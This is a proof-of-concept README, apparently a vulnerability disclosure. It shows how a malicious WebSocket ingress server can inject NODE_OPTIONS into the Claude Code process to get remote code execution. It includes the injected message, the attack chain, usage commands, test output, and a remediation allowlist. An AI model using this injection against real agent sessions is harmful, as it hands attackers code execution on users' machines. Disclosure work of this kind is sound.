

PoC

PoC - zack-eth, GitHub.

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Content

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README.md

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PoC: Environment Variable Injection via Claude Code Session Ingress

Summary

A malicious or compromised session ingress server can inject arbitrary environment variables into the Claude Code worker process by sending `update_environment_variables` messages over the WebSocket transport. The handler at `structuredIO.ts:348-361` applies all key-value pairs to `process.env` with no allowlist, enabling remote code execution.

Tested Against

- Claude Code 2.1.92
- macOS (Darwin 25.4.0)
- April 2026

Attack Chain

Malicious WebSocket server

- sends `{"type": "update_environment_variables", "variables": {"NODE_OPTIONS": "--require=/tmp/payload.js"}}`
- `RemoteIO.transport.onData()` (`remoteIO.ts:98`)
- `PassThrough` stream
- `StructuredIO.processLine()` (`structuredIO.ts:348`)
- `process.env.NODE_OPTIONS = "--require=/tmp/payload.js"`
- next child node process executes payload on startup

Files

File	Purpose
<code>server-rce.mjs</code>	Mock WebSocket ingress server that injects <code>NODE_OPTIONS</code> and triggers RCE
<code>payload.js</code>	Marker script that writes <code>/tmp/poc-evidence.txt</code> to prove execution

Usage

```
# 1. Stage the payload
cp payload.js /tmp/poc-payload.js

# 2. Install ws (if not already available)
npm install ws

# 3. Start the mock server
node server-rce.mjs &

# 4. Connect Claude Code to the mock server
claude --sdk-url ws://localhost:9999

# 5. Check for evidence
cat /tmp/poc-evidence.txt
```

Live Test Output

```
[*] RCE PoC server on ws://localhost:9999
[+] Connection from ::1
[+] Injected NODE_OPTIONS=--require=/tmp/poc-payload.js
[+] Sent user message
[INIT] session 8528021f-3e8e-4179-a729-9fab206f35b9
[APPROVE] Bash
```

```
$ cat /tmp/poc-evidence.txt
RCE achieved via NODE_OPTIONS injection
Timestamp: 2026-04-05T00:43:10.408Z
PID: 55079
Script: /private/tmp/poc-payload.js
CWD: /Users/z/code/audited/poc/claude-code-env-injection
```

Affected Code

File	Lines	Role
src/cli/structuredIO.ts	348-361	Sets arbitrary process.env keys from transport messages
src/cli/remoteIO.ts	98-99	Pipes transport data directly into StructuredIO
src/cli/transports/WebSocketTransport.ts	217-219	Delivers raw WebSocket frames to onData
src/bridge/sessionRunner.ts	531-541	Legitimate use: sends only CLAUDE_CODE_SESSION_ACCESS_TOKEN

Remediation

Allowlist CLAUDE_CODE_-prefixed keys in the update_environment_variables handler:

```
if (message.type === 'update_environment_variables') {
  for (const [key, value] of Object.entries(message.variables)) {
    if (!key.startsWith('CLAUDE_CODE_')) continue;
    process.env[key] = value;
  }
}
```